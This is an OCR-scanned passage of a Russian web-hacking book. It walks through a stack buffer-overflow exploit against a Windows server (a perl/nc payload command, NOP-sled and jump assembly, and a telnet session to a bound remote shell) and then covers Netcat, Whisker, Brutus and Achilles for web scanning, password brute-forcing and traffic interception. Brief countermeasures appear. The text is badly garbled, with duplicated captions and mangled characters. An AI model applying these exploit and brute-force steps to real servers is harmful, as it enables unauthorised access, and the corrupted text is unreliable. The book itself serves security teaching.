Загрузим файл chl4server.exe в оболочку W32Dasm. С ее помощью сам трюк вьшол- нить не удастся, однако определенную пользу все же можно извлечь. Это чрезвычайно быстрое средство, которое идеально подходит для поиска необходимой последовательно - сти инструкций. Введем строку call esi в окне поиска, как показано на рис. 14.3.
.00403140 II рее» r<#И4«1Л4*№ rw I • «•(-
Рис. 14.3. Поиск ну живи инструкции
Результаты поиска показали, что в качестве смещения используется значение 0х0040336е. Вместо добавления строки abed нужно добавить адрес инструкции call esi. На забывайте, что терминальный символ NULL содержится в последнем байте. Вместо передачи символа х необходимо отправить последовательность пустых инструкций (NOOP), в которую внедрена строка int3. Для этого следует запустить программу Soffice и для установки точки прерывания ввести команду bpint 3. Теперь эту последователь - ность команд нужно выполнить в системе.
perl -е * print "\х%" х 1399 . м\хСС\хбе\хЗЗ\х4 0** nc yourhost 9999
В результате выполнения этой команды было отправлено 1399 пустых инструкций (NOOP), а после них — код инструкции СС, который транслируется в int 3. Это приводит к изменению адреса возврата и выполнению инструкции call esi. Если придерживаться плана, то отладчик сможет отследить вызов прерывания. Теперь в нашем • распоряжении имеется код, выполняющийся в контексте удаленного процесса.
Очевидно, что в реальности код, состоящий из пустых инструкций вызова прерывания, не представляет особой ценности. Так что воспользуемся кое-чем более полезным и посмотрим, что из этого получится.
(На Web-узле http://www.deepzone.org, который поддерживается Изэном (Izan). можно найти удобное средство генерации кода привязки к портам для платформы Wn32.)
Для генератора требуются адреса двух функций — LoadLibraryA и Get Pro cAddress, используемых в исполняемых файлах или библиотеках DLL. Для получения этих адресов можно воспользоваться дизассемблером или средством типа DUMPBIN. Местоположение этих двух функций показано на рис. 14.4.
Рис. 14.4. Адреса функций LoadLibrAtyA и Ge tProcAddressРис. 14.4. Адреса функций LoadLibrAtyA и Ge tProcAddress0B4MDfll E;gw8” sen:D04Q<De?;咒0B4MDfll E;gw8” sen:D04Q<De?;咒
Рис. 14.4. Адреса функций LoadLibrAtyA и Ge tProcAddress
Рис. 14.4. Адреса функций LoadLibrAtyA и Ge tProcAddress
0B4MDfll E
;gw8” sen
:D04Q<De?;咒
0B4MDfll E
;gw8” sen
:D04Q<De?;咒
Двумя требующимися смещениями являются 00406068 и 004060а8. Для динамического получения адресов других фунвдий в сгенерированном коде используется две функции. Генератор позволяет сгенерировать код в формате ASM, С, Perl и Java. В системе нужно использовать такую последовательность байтов: 0x90 * 1400 — sizeof(ход) <код> <адрес возврлта>
Когда сервер получает эту строку, сохраненный при вызове функции crash () адрес возврата замещается адресом, который указывает на инструкцию call esi. Регистр ESI указывает на последовательность пустых инструкций, после которых следует код привязки к порту. После возврата из фунвдии переход выполняется не к той инструкции, к которой необходимо, а к инструкции call esi, при вызове которой будет выполнен нужный код.
К сожалению, существует небольшая проблема. Байтов, контролируемых в ESI, недостаточно для размещения всего кода, сгенерированного с использованием узла deepzone. Еще раз прибегнем к дизассемблированию. Видно, что адрес 0x004098fc помещается в стек перед вызовом фунвдии recv(). По этому адресу содержатся полученные байты. Если в исходную строку добавить переход по этому адресу, то мы попадем точно в цель.
хог еах, еах;ОЧИСТИТЬ регистр еах
mov еах, 4098fc99h; поместить адрес recv в еах со значением 99 hex в конце
shr еах, 08; витопжиуть из регистра значение 99h
хог есх, есх
;очистить регистр в есх
mov cl, 20h
;поместить 20h в есх
add еах, есх
;Лоб&вить в еах, чтобы пропустить этот код
call еах
;вызвать нашу оболочку
После запуска этого кода сначала будет найден исходный буфер, затем к нему будет добавлен небольшой фрагмент, после чего этот фрагмент кода будет выполнен. Несколько нестандартный ассемблерный код применяется для того, чтобы избежать использования NQLL-байтов. Для более полного ознакомления с данной реализацией переполнения буфера, пройдите этот код с помощью отладчика.
Connecting
Data sent.
Telnet to 192.168.10.2 port 8008 now.
Cs\exploit>
Trying 192.168.10.2... .
Connected to acmelabs.net (192.168.10.2).
Escape character is 'A);・
Microsoft Windows 2000 [Version 5.00.2195] C Copyright 1985-1999 Microsoft Corp.
C:\exploit»
При выполнении этого кода с портом 8080 связывается командная оболочка. С ее помощью можно выполнять практически неограниченные действия.
Контрмеры
Продемонстрированные в этой главе приемы могут оказаться для Web-узла смертельными, поскольку они одним ударом предоставляют административный доступ к его ресурсам. Однако без профессионального хакера, который мог бы найти изъян и создать соответствующее средство взлома, подобные атаки очень трудно как обнаружить, так и реализовать.
Для этих взломов трудно сформулировать контрмеры, поскольку проблема кроется в самом коммерческом программном обеспечении (которое в основном нельзя контролировать напрямую). Конечно, наилучшей контрмерой остается применение модулей обновления и новых версий программных продуктов от таких производителей, как Microsoft и Apache. Однако, даже если в течение многих лет применять модули обновления и сервисные пакеты, это не позволит защититься от всех атак. Для максимально полной защиты Web-сервера существует единственный способ. Он заключается в установке какой-либо системы предотвращения вторжений, например Entercept (http;//ww. entercept.com).
Резюме
Искусный хакер может искать в программах условия переполнения буфера, а затем использовать их для реализации атак. Хотя приемы, которые обсуждались в этой главе, связаны с поиском изъянов программ в лабораторных условиях, их можно использовать и для поиска уязвимых мест в коммерческих приложениях.
Материал этой главы требует серьезных размышлений. Ее основная идея заключается в том, что даже при использовании всех средств защиты, процедур и модулей обновления вы по-прежнему остаетесь уязвимыми, если не используете программного обеспечения типа Entercept (http: //ww.entercept.com), которое позволяет предотвратить такие нападения.
ЧАСТЬ IV
Приемы кунгфу в We b
Случай из жизни
Прохаживаясь по перрону метрополитена и просматривая только что купленный журнал Wall Street Journal, Дэвид увидел заголовок: пКомпьютерный червь наносит новый удар по компаниям и обходится им в миллиарды долларов”. Компьютерный червь — это самораспространяющаяся программа, которая инфицирует один компьютер за другим, зачастую используя ресурсы инфицированного компьютера для продолжения своей злонамеренной деятельности.
Вне всякого сомнения, это нелепая оценка происходящего. Она не имеет ничего общего с действительностью. Ведь того, о чем ,,кричалн заголовок, просто не существовало. Дэвид работал администратором по вопросам безопасности и обслуживал более 100 тыс. компьютерных систем интерактивной маклерской компании. Он помчался на 53-й этаж офиса и включил свой переносной компьютер, чтобы запустить Internet-броузер. Он сразу зашел на Web-узел Координационного центра CERT (Carnegie-Mellon Emergency Response Team, wu-w.cert.org), на котором, по его мнению, содержалась жизненно важная для него информация. Дэвид полагался на специалистов этой группы в течение нескольких лёт. Данные с этого Web-узла позволяли быть готовым к нападениям из Internet, а также ко внутренним взломам. Получая описание нового взлома, эта организация была далеко не самой отзывчивой, но, как правило, предоставляла больше информации, чем другие организации, занимающиеся обеспечением безопасности, и в конечном счете стала наилучшим источником полезной информации о взломах.
Группа CERT достаточно уверенно сообщила, что вчера вечером было поражено около 100 млн. компьютерных систем. Примерно за 36 часов были получены сообщения со всего мира. Казалось, что это никогда не закончится. В более ранних сообщениях указывалось, что вирус-червь мог работать на многих платформах и с множеством приложений, а чтобы скрыть свое местонахождение, пользовался достаточно редким приемом, называемым SSL-туннелированием. Известные до сих пор черви были довольно безвредны. В них использовались стандартные изъяны подсистемы защиты, которые и обнаруживались с помощью традиционных методов. В какой-то момент черви, которые инфицировали миллионы компьютеров в 2001 году, стали очень похожи на детскую игру. Пришел новый день, и Дэвид неожиданно осознал все последствия этого события.
Червь поддерживал много платформ, поскольку мог инфицировать все три основные операционные системы: Windows, Solaris и Linux. После проникновения на один из компьютеров он продолжал сканировать локальную сеть в поисках как аналогичных, так и других систем. При этом для проникновения использовались известные изъяны каждой платформы.
Этот вирус мог взаимодействовать с множеством приложений, поскольку в первое время он инфицировал базы данных Oracle и SQL Server. В одном из направлений атак использовались изъяны прикладного уровня, а в процесс переполнения буфера вовлекалась хранимая процедура xp_cmdshell сервера SQL Server компании Microsoft и язык XML.
Червь был практически невидимым, поскольку шифровал свой трафик с использованием протокола SSL. Это позволяло эффективно скрываться от систем выявления вторжений (Intrusion Detection System — IDS). Используя шифрование SSL, применяемое на многих коммерческих Web-серверах, червь скрытно проникал на Web- серверы IIS и 绿ache, захватывал их ресурсы и приводил к пре!фащению работы критически важных систем.
Дэвид подумал: "С быстрым распространением вирусов-червей, поражающих критические системы и важную инфраструктуру по всему миру, привычное нам киберпространство вскоре канет в Лету**.
ГЛАВА 15
Хакинг в Web:
средства автоматизации
Не нужно относиться к ошибкам с презрением. Когда приходит озарение и удача, даже самая глупая ошибка может привести к постижению высочайшей истины. Важнейшие изобретенияf которые были сделаны на основе ошибочных гипотез практически во всех областях науки, исчисляются сотнямиf если не тысячами.
Стефан Цвейг, австрийский писатель
Введение
Большая часть информации, содержащейся в предыдущих главах, была посвящена пошаговым процедурам обнаружения и исправления изъянов Web-приложений, выполняемым вручную. Однако многие автоматизированные средства позволяют выполнить практически те же действия, но в десятки раз быстрее. При этом не требуется затрачивать каких-либо значительных усилий.
Некоторые из этих средств уже обсуждались (или, как минимум, упоминались) в предыдущих главах. В этой главе рассматриваются те из них, которые прежде оставались за кадром (или были описаны недостаточно полно), но все же заслуживают самого пристального внимания.
Утилита Netcat, написанная Хоббитом (Hobbit), — "швейцарский армейский нож** хакера.
Утилита Whisker лаборатории Rain Forest Puppy (http://www.wiretrip.net/rfp) — одно из первых завершенных средств, предназначенных для поиска изъянов в Web.
Утилита Brutus от группы специалистов компании HooBie Inc. (http://www. hoobiе. net/ brutus /) — одна из самых робастных программ, предназначенных для прямого подбора паролей, используемых при аутентификации в Web.
Программа Achilles, написанная Роберто Кардоном (Roberto Cardona, http:// ww.digizen-security.com), — один из первых ргоху-серверов HTTP, позволяющий динамически вставлять команды в поток данных HTTP.
Программа Cookie Pal от компании Kookaburra Software (http: / / www. kburra. can/) — одно из лучших средств мониторинга данных cookie, создаваемых/удаляемых в системе.
Пакет Teleport Pro от компании Tennyson Maxwell Information Systems, Inc. (http://www.teniBAX.ccim), позволяющий по графику выполнять автоматизированный сбор Web-страниц и инвентаризацию Web-серверов.
Netcat
Утилита Netcat уже упоминалась и использовалась во многих примерах. Помимо чрезвычайно богатого набора функций, эта утилита предоставляет еще одну важную возможность. Ее можно использовать в сценариях как системы Windows, так и UNIX. Уже поэтому Netcat заслуживает более подробно рассмотрения.
Как упоминалось в предыдущих главах, утилита Netcat является НТТР- посредником и запрашивает информацию от Web-сервера напрямую, без использования традиционного броузера. При выполнении хакинга в Web утилита Netcat может фактически полностью заменить броузер. Другими словами, она позволяет осуществить практически все (например, с использованием GET- и POST-запросов можно получить информацию с Web-сервера, извлечь исходный код или вставить символы в операторы SQL). Поскольку Netcat запускается из командной строки, выполнение всех этих действий можно легко автоматизировать.
Для начала посмотрим, как с помощью утилиты Netcat можно получить с сервера Web-страницу, используемую по умолчанию.
С:\> ас 192.168.0.5 81
GET / HTTP/1.0<crxlf>
<crxlf>
HTTP/1.1 200 OK
Server: Microscft-IIS/5.0
Content-Location: http:Z/192.168.0.5/De£ault.htm
Date: Sat I 27 Apr 2002 18:00:28 GMT
Content-Type: text/html
Accept-Ranggs: bytes
Last-Modified: Sat, 06 Apr 2002 06:48:32 GMT
ETag: *a0f7?51137ddcll:Bfa"
Content-Length: 5
Bello
В приведенном фрагменте текст, выделенный жирным шрифтом, необходимо ввести в командной строке после начального запуска утилиты Netcat. Обратите внимание, что символы <cr><lf> обозначают нажатие в конце строки клавиши <Enter>. Перед передачей команды на Web-сервер эту клавишу нужно нажать дважды. Кроме того, следует заметить, что на странице default.htr. целевого сервера содержится единственная строка со словом Bello. Из приведенного фрагмента видно, что с Web- сервера были получены подробные данные о заголовке НТТР/1 1 и слово Hello.
Для того чтобы автоматизировать выполнение описанной выше процедуры с использованием Netcat, необходимо обладать навыками написания командных файлов (Windows), сценариев на языке Perl (Endows или UNIX) или сценариев оболочки (UNIX). Однако в любом случае ниже будет показано, как это делается. Обратимся еще раз к предыдущему примеру, в котором используемая по умолчанию Web- страница извлекалась с Web-сервера с помощью утилиты Netcat. Создадим отдельный текстовый файл targets.txt со списком целевых Web-серверов.
www.example.сов
vwv.example2.cca
www.example3.com www.example4.com www.example5.com
После этого создадим файл http.txt с запросом GET.
GET/НТТР/1.0<cr><lf>
<cr><lf>
Теперь файлом http.txt можно воспользоваться при запуске утилиты Netcat и быстро передать запрос GET всем необходимым Web-серверам. Для этого достаточно применить простой цикл for системы Endows.
for It QI in (targets.txt) do type http.txt I nc II 80
Параметр /f используется для считывания данных из файла targets .txt, а оператор do определяет действия, которые нужно выполнить: вставить содержимое строки GET (из файла http.txt) в команду вызова Netcat. Цикл for повторяется до тех пор, пока не будут обработаны все записи, содержащиеся в файле targete.txt. Такая команда позволяет получить все Web - страницы, используемые по умолчанию на целевых серверах. Если эту строку добавить в командный файл Windows (.bat), то можно получить гораздо больше ценной информации. Например, в выходных данных можно выполнить поиск таких ключевых слов, как scripts, action или applet.
Приведенный простой пример позволяет получить полное представление об основных принципах написания сценариев и самой утилите Netcat. Обратите внимание: практически все, что рассматривается в этой книге, можно использовать в сценариях с утилитой Netcat.
Whisker
Это одна из первых робастных программ выявления изъянов в Web, которую можно использовать при автоматизации процедуры проверки. За годы своего существования утилита Whisker стала в некотором роде культовым средством. И для этого есть все основания. С ней связан внушительный список Web-изъянов, известных в настоящее время. Используя сведения, предо ставляемые центром NMRC (Nomad Mobile Research Center), консорциумом W3C (World Wide Web Consortium), бюллетенем Bugtraq, хакером Федором (Fyodor), компанией Network Associates и многими другими специалистами в области обеспечения безопасности, эта утилита, разработанная в лаборатории RFP, представляет собой робастное средство выявления Web-изъянов, с которым следует познакомиться как можно ближе.
Утилиту Whisker можно использовать как в Windows, так и в UNIX. Именно эта универсальность и обеспечивает столь высокую ее популярность. В процессе работы утилита Whisker пытается установить связь с целевым Web-сервером и использует файл scan.db, содержащий перечень всех проверок, которые необходимо выполнить. Если соединение успешно установлено и возвращаемые сервером данные имеют ожидаемый формат, то утилита Whisker сообщает об уязвимости сервера. Хотя реализованный в этой программе подход и не отличается высокой пинтеллек- туалвностъю” и иногда приводит к получению неправильных результатов, она все же является одной из самых стабильных программ тестирования, известных в настоящее время.
Для того чтобы воспользоваться утилитой Whisker, достаточно запустить ее из командной строки.
C:\Dt\vhi6ker\vl.4>vhi6ker.pl -h 192.168.0.5
whisker / vl.4.0 / rain forest puppy / ww.wiretrip.net —
=Host: 192.168.0.5
二 Server: Apache/1.3.12 (Win32) ApachaJS«rv/l.l nod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22
+ 200 OK: HEAD /cgi-bin/printenv
+ 200 OK: HEAD /manual/
После ввода приведенной выше команды утилита Whisker подсоединилась к порту 80 узла 192.168.0.5 и определила, что на нем установлен Web-сервер Apache/1.3.12 для системы Windows (Win32). Кроме того, были идентифицированы четыре модуля Web- сервера: ApacheJServ/1.1, raod_ssl/2.6.4, OpensSL/0.9.5а и rood_perl/1.22. Вся полученная информация может существенно облегчить задачу взломщика. Утилита Whisker обнаружила также две ссылки, которые являются потенциальными точками входа на сервер (Zc^i-bin/printenv и /manual/). Результаты использования первой ссылки представлены на рис. 15.1.
Как уже не раз упоминалось в этой книге, информация, полученная с использованием подобной ссылки, представляет для взломщика чрезвычайную ценность. Она содержит имя сервера, несколько путей и даже их описание. Если какой-либо из Web- серверов предоставляет подобные данные, необходимо срочно принять соответствующие контрмеры.
Второй ссылкой является /manual. При ее использовании было обнаружено интерактивное руководство по развертыванию сервера Apache. Хотя в нем и не содержится ценной информации, все же подобные доБсументы должны находиться в другом месте.
Если подобные стандартные файлы по умолчанию хранятся на Web-сервере, их следует немедленно удалить.
Рис. 15.1. Выходные данные, полученные при исгкмьэомнии ссылки /cgi•bin/printmv
Подбор паролей "в лоб"
Если для контроля доступа к ресурсам на Web-узле используется механизм аутентификации, то с помощью утилиты Whisker имена пользователей и пароли можно подобрать “в лоб". Например, если при обращении к Web-узлу появляется диалоговое окно, аналогичное показанному на рис. 15.2, это означает, что для доступа к ресурсам необходимо пройти стандартную аутентификацию HTTP.
Теперь с помощью параметров -0 и -L утилиты Whisker можно выполнить подбор регистрационных данных. Параметр -U позволяет задать список пользовательских имен, сгенерированный с использованием сценария listgen.pl (входящий в комплект поставки Whisker), которые будут использоваться при установке соединения. В действительности такой прием можно использовать для доступа к Web - серверам системы UNIX, на которых применяется старый механизм управления состоянием и пользователями. Однако он может пригодиться и в некоторых других случаях.
Когда имя пользователя уже получено (либо прямым перебором, либо "на ощупь"), с помощью параметра -L можно подобрать соответствующий пароль. Для этого утилиту Whisker необходимо запустить следующим образом:
С:\> wh.isker.pl -h 192.168.0.5 -р 82 -L / -a test
whisker / vl.4.0 / rain forest puppy / www.wiretrip.net —
Brute forcing authentication for user *test* on url:
=Host: 192.168.0.5
=Valid auth corrtoo *test:test* on following URL:
=http://192.16B.0.5/
В процессе подбора пароля для пользователя test утилита Whisker циклически просматривала файл паролей до тех пор, пока не был обнаружен пароль test. По умолчанию используется файл паролей pass.txt, содержащийся в каталоге \lists. При необходимости этот файл можно отредактировать.
Выше показано применение утилиты Whisker для подбора "в лоб” данных, используемых в процессе стандартной аутентификации на Web-сервере. Однако не следует забывать и о двух других формах аутентификации: с использованием форм и механизма NTLM. Есть несколько способов, с помощью которых можно определить используемый метод. Однако проще всего внимательно посмотреть на диалоговое окно, отображаемое клиентским броузером. Так, например, на рис. 15.3 показано стандартное диалоговое окно NTLM-аутентификации броузера Internet Explorer.
Рис. 15.2. Диалоговое окно для ввода данных аутентификацииРис. 15.2. Диалоговое окно для ввода данных аутентификацииРис. 15.3. Диалоговое окно NTLM-аутен- тификащшРис. 15.3. Диалоговое окно NTLM-аутен- тификащш
Рис. 15.2. Диалоговое окно для ввода данных аутентификации
Рис. 15.2. Диалоговое окно для ввода данных аутентификации
Рис. 15.3. Диалоговое окно NTLM-аутен- тификащш
Рис. 15.3. Диалоговое окно NTLM-аутен- тификащш
Сделать подобное утверждение можно на основании того, что в данном диалоговом окне содержится поле Domain. Это поле используется в системе Windows для проверки того, что пользователь относится к определенному домену.
Рис. 15.4. Страница аутентификации с формойРис. 15.4. Страница аутентификации с формой
Рис. 15.4. Страница аутентификации с формой
Рис. 15.4. Страница аутентификации с формой
Аутентификация на базе форм существенно отличается от двух других методов и при подборе регистрационных данных "в лоб” требует совсем других подходов. На рис. 15.4 показана простая страница с формой, которая используется в процессе аутентификации.
При использовании механизма аутентификации на базе форм подобрать регистрационные данные труднее всего, особенно если речь идет об автоматизации этого процесса. Популярная программа Brutus является одним из немногих средств, с помощью которых можно решить эту проблему.
Brutus
Это многофункциональная программа взлома паролей Web. Она предназначена для применения только в системе Windows, однако остается работоспособной при использовании различных механизмов аутентификации, включая следующие:
HTTP (аутентификация Basic);HTTP (HTML-4>opMa/CCi I);POP3 (Post Office Protocol v3);HTTP (аутентификация Basic);HTTP (HTML-4>opMa/CCi I);POP3 (Post Office Protocol v3);FTP (File Transfer Protocol);SMB (Server Message Block);Telnet.FTP (File Transfer Protocol);SMB (Server Message Block);Telnet.
HTTP (аутентификация Basic);
HTTP (HTML-4>opMa/CCi I);
POP3 (Post Office Protocol v3);
HTTP (аутентификация Basic);
HTTP (HTML-4>opMa/CCi I);
POP3 (Post Office Protocol v3);
FTP (File Transfer Protocol);
SMB (Server Message Block);
Telnet.
FTP (File Transfer Protocol);
SMB (Server Message Block);
Telnet.
Хотя в настоящее время стандартный тип HTTP - аутентификации используется в Internet чаще всего, HTML-формы также применяются достаточно часто. Чтобы воспользоваться утилитой Brutus для подбора регистрационных данных, применяемых в процессе стандартной HTTP-аутентификации, достаточно задать цель в поле Target, выбрать в списке Туре тип аутентификации HTTP (Basic Auth), а затем определить дополнительные параметры в группе Authentication Options. По умолчанию применяются часто используемые имена пользователей и пароли (рис. 15.5).
Рис. 15.5. Подбор данных стандартной HTTP-аутентификации с использованием программы BrutusРис. 15.5. Подбор данных стандартной HTTP-аутентификации с использованием программы Brutus
Рис. 15.5. Подбор данных стандартной HTTP-аутентификации с использованием программы Brutus
Рис. 15.5. Подбор данных стандартной HTTP-аутентификации с использованием программы Brutus
Из рис. 15.5 видно, что с использованием утилиты Brutus были получены пароли пользователей administrator и test — пустой пароль и test соответственно.Однако, если список имен пользователей и паролей будет исчерпан, можно настроить программу Brutus для подбора пароля "в лоб”. Как видно из рис. 15.6, с помощью конфигурационных параметров можно задать длину пароля и набор символов, который будет использоваться (все символы ASCII или их подмножество).В процессе работы (который потребует некоторого времени) программа Brutus проверит все воз-Из рис. 15.5 видно, что с использованием утилиты Brutus были получены пароли пользователей administrator и test — пустой пароль и test соответственно.Однако, если список имен пользователей и паролей будет исчерпан, можно настроить программу Brutus для подбора пароля "в лоб”. Как видно из рис. 15.6, с помощью конфигурационных параметров можно задать длину пароля и набор символов, который будет использоваться (все символы ASCII или их подмножество).В процессе работы (который потребует некоторого времени) программа Brutus проверит все воз-°°广 KMAk»4-''广 KMAk»4-''C Custom RangeC Custom Range
Из рис. 15.5 видно, что с использованием утилиты Brutus были получены пароли пользователей administrator и test — пустой пароль и test соответственно.
Однако, если список имен пользователей и паролей будет исчерпан, можно настроить программу Brutus для подбора пароля "в лоб”. Как видно из рис. 15.6, с помощью конфигурационных параметров можно задать длину пароля и набор символов, который будет использоваться (все символы ASCII или их подмножество).
В процессе работы (который потребует некоторого времени) программа Brutus проверит все воз-
Из рис. 15.5 видно, что с использованием утилиты Brutus были получены пароли пользователей administrator и test — пустой пароль и test соответственно.
Однако, если список имен пользователей и паролей будет исчерпан, можно настроить программу Brutus для подбора пароля "в лоб”. Как видно из рис. 15.6, с помощью конфигурационных параметров можно задать длину пароля и набор символов, который будет использоваться (все символы ASCII или их подмножество).
В процессе работы (который потребует некоторого времени) программа Brutus проверит все воз-
°
°
广 KMAk»4-''
广 KMAk»4-''
C Custom Range
C Custom Range
Рис 15.6. Параметры программы можные комбинации символов, соответствующих Brutus, определяющие режим под- выбранному набору. Из рис. 15.7 видно, что при бора паролей '% "巾’длине пароля от 0 до 6 символов и использовании
символов нижнего регистра полный перебор всех вариантов паролей на компьютере Р4 с частотой 1.2 ГГц займет около месяца. Это совсем не та скорость, на которую хотелось бы рассчитывать, однако программа достаточно стабильно работает и предоставляет хорошие результаты.
Puc. 15.7. Использование программы Brutus для подбора паролей ‘匕汽蘭"Puc. 15.7. Использование программы Brutus для подбора паролей ‘匕汽蘭"
Puc. 15.7. Использование программы Brutus для подбора паролей ‘匕汽蘭"
Puc. 15.7. Использование программы Brutus для подбора паролей ‘匕汽蘭"
Однако реальное преимущество, предоставляемое программой Brutus при взломе паролей Web, связано с возможностью подбора регистрационных данных, для ввода которых используются HTML-формы. Утилита Brutus позволяет учесть особенности любой формы, включая поддержку cookie и определяемые пользователем ответы. На рис. 15.8 показаны конфигурационные параметры Brutus, которые можно при этом использовать.
Рис, /5.8. Параметры Brutus, используемые при аутентификации через форму HTML
Теперь, щелкнув на кнопке Learn From Settings, программе Brutus можно дать указание исследовать форму регистрации и попытаться определить, что требуется для аутентификации. На рис. 15.9 показано, какие результаты были получены при исследовании целевой формы.
Рис. 15.9. Анализ формы с помощью программы Brutus
В состав формы входит два поля: user и password. Проверку достоверности имени пользователя и пароля выполняет серверный сценарий /cgi-bin/login.cqi. С учетом полученной информации можно попытаться подобрать пароль с использованием программы Brutus (рис. 15.10).
Программа Brutus является чрезвычайно гибкой и робастной, а кроме того, предоставляет широкий спектр возможностей. С ее помощью можно взаимодействовать практически со всеми основными механизмами аутентификации, за ис- клюиением NTLM. Единственной известной программой, которая позволяет подобрать регистрационные данные NTLM, является Founds сап от компании Foundstone (http://wwv. foundstone. com).
Рис. 15. JO Результаты подбора данных аутентификации с использованием программы Brutus
Achilles
Это одна из наиболее неустойчивых в работе, однако чрезвычайно мощных утилит хакинга в Web, которая предназначена для системы Windows. Эта утилита функционирует в качестве посредника. С ее помощью можно перехватить информацию, передаваемую Web-серверу, внести в нее изменения, а затем передать серверу уже в откорректированном виде. Такая модификация "на лету** данных, передаваемых пользе- вателъеким броузером серверу, открывает чрезвычайно широкие возможности для злоумышленников.
Программа Achilles предоставляет следующие возможности:
proxy-сервер (с возможностью настройки используемых портов);
перехват данных HTTP и SSL;
вставка/модификация данных HTTP;
пересчет требующихся HTTP-полей;
проверка на переполнение буфера;
регистрация HTTP- и SSL-сеансов.
Основные возможности, которые будут продемонстрированы ниже, — это перехват трафика HTTP и SSL, а также модификация передаваемых данных. Это наиболее важные особенности программы Achilles. Реализуемый при этом процесс проиллюстрирован на рис. 15.11.
\Afeb-cepBep\Afeb-cepBepПосле щелчка в окне программы Achilles на кнопке Send запрос клиентского броузера отсылается HaV\feb-cepBep для обработки
\Afeb-cepBep
\Afeb-cepBep
КлиентКлиентVfeb-сервер отвечает клиенту. Если флажок Intercept Server Data установлен, программа Achilles будет перехватывать также ответ сервера, а перед его доставкой в пункт
Клиент
Клиент
назначения (клиентский броузер) ожидать
щелчка на кнопке Sendщелчка на кнопке SendНа клиентском компьютере трафик броузера передается на порт5000 программы AchillesНа клиентском компьютере трафик броузера передается на порт5000 программы AchillesКлиентскийброузерКлиентскийброузерРис. 15.11. Перехват данных с использованием программы AchillesРис. 15.11. Перехват данных с использованием программы AchillesДля использования программы Achilles ее необходимо запустить, а затем установить следующие флажки:
щелчка на кнопке Send
щелчка на кнопке Send
На клиентском компьютере трафик броузера передается на порт5000 программы Achilles
На клиентском компьютере трафик броузера передается на порт5000 программы Achilles
Клиентскийброузер
Клиентскийброузер
Рис. 15.11. Перехват данных с использованием программы Achilles
Рис. 15.11. Перехват данных с использованием программы Achilles
Intercept Mode ON;
Intercept Client Data.
После этого нужно щелкнуть на кнопке Start. Однако, перед тем как приступить к использованию программы Achilles в качестве посредника между Internet и тестируемым Web-узлом, следует внести изменения в конфигурационные параметры броузера. Необходимо обеспечить, чтобы программа Achilles использовалась броузером в качестве proxy-сервера. По умолчанию она связана с портом 5000. Следовательно, для того чтобы броузер Internet Explorer смог использовать этот порт как "адрес” ргоху- сервера, выполните приведенную ниже последовательность действий.
Выберите команду Tools^4Internet Options.
Перейдите во вкладку Connections.
Щелкните на кнопке LAN Settings.
Установите в группе параметров Proxy Server флажок Use a proxy server for LAN .
В поле Address введите адрес локального узла 127.0.0.1.
В поле Port укажите порт 5000, который используется программой Achilles по умолчанию (или любой другой используемый вместо него порт).
После настройки броузера можно приступать к путешествию в Web уже через программу Achilles и к отслеживанию каждого запроса, передаваемого на целевой сервер. Так, например, на рис. 15.12 показан запрос GET и поля заголовка, которые были переданы целевому серверу.
Запрос GET был отправлен Web-серверу, а программа Achilles его перехватила. Теперь необходимо щелкнуть на кнопке Send в нижней левой части окна, чтобы отправить запрос на целевой Web-сервер. При необходимости перехваченные данные можно изменить, а затем для их передачи на сервер щелкнуть на кнопке Send.
Рис. 15.12. Перехват запроса GET с помощью программы Achilles
Помимо перехвата клиентских данных, Achilles позволяет также захватывать данные, передаваемые сервером. Для этого достаточно установить флажок Intercept Server Data (text). После этого будет перехватываться не только запрос клиента, но и ответ сервера. Это позволяет лучше разобраться с данными cookie, а также механизмом управления состоянием, реализованным на Web - сервере.
К сожалению, программа Achilles ничего не сообщает о том, что отображается в окне редактирования: запрос или ответ. Другими словами, содержимое этого окна может быть либо запросом, отправленным броузером Web-серверу, либо ответом Web- сервера на запрос броузера. Поэтому для эффективного использования Achilles нужно правильно понимать последовательность передачи этих сообщений (что подробно описано в главе 4).
Пример реального использования программы Achilles представлен в следующем разделе. Вопросы ,,пepeвoплoщeния,, более подробно рассматриваются в главе 13.
Cookie Pal
Программа Cookie Pal — одно из лучших средств мониторинга состояния системы. Данные cookie представляют собой поля, создаваемые в одном или нескольких файлах и используемые броузером для подцержки состояния и получения информации с Web-сервера. Как правило, эти данные скрыты от пользователя и сами по себе не представляют большой опасности. Однако с использованием данных cookie можно ввести Web-сервер в заблуждение и получить от него дополнительную информацию. Другими словами, модифицировав данные cookie в запросе GET, можно зарегистрироваться в качестве другого пользователя.
Серверами и броузерами могут использоваться два типа данных cookie: временные (на время сеанса) и постоянные. Временные данные cookie хранятся в оперативной памяти и удаляются после закрытия клиентского броузера; постоянные размещаются на жестком диске и считываются броузером при необходимости. Например, постоянные данные cookie броузера Internet Explorer хранятся в каталоге C:\Docuients and Settings\Adaiinistrator\Cookies. На каждом Web-узле имеются собственные файлы, в которых хранятся данные cookie. Например, в приведенном ниже файле содержится
три поля cookie: идентификационный: номер (RMID), имя (welcome) и имя пользовате- ля/пароль (userinfb):
RMID
44O4bel23ccb8c8O winespectator.сое/ 1056
3567004032
30124358
4178596544
29486711
welcoaie
Stuart
vinespectator・ сот/
1056
1240627200
30394925
4269326544
29486711
userinfo
CTR(64・
l):c61X186pc:N6o35citoTo5qXWI0kq«UtanisfinqEY8PTrMaylsLexuTH01i7I4OWinVorH5qhWHD17bUto/C5 UTW5Wcnrann3JtE8uq2aoZ0s*G2BBlbdKKRk5ed«8PV7Ougv7Xg8nbClrSit9pyU4aXkI6MlV7G697kjL*v4aG5y XDC5»6jhUh/ooaentifxtms3Xu5p61*dodjh6Ruo45If6KGnp/Yn®bp7M2bvqTps7jBkrPevuWySH4'i wioeapectator. coa/
1056
1240627200
30394925
4273736544
29486711
Программа Cookie Pal позволяет управлять как временными, так и постоянными cookie еще до их сохранения в оперативной памяти или на жестком диске соответственно. Это достигается за счет перехвата ответа Web-сервера и отображения перехваченных данных в диалоговом окне Alert (рис. 15.13).
Рис. 15.13. Диалоговое окно Alert программы Cookie Pal
В этом окне отображается имя сервера, передавшего данные cookie, имя поля (Name), его значение и дата истечения срока действия. В этом же окне можно либо принять данные cookie, либо отказаться: от них. После того как данные будут приняты, ими можно управлять с использованием средств пользовательского интерфейса (рис. 15.14).
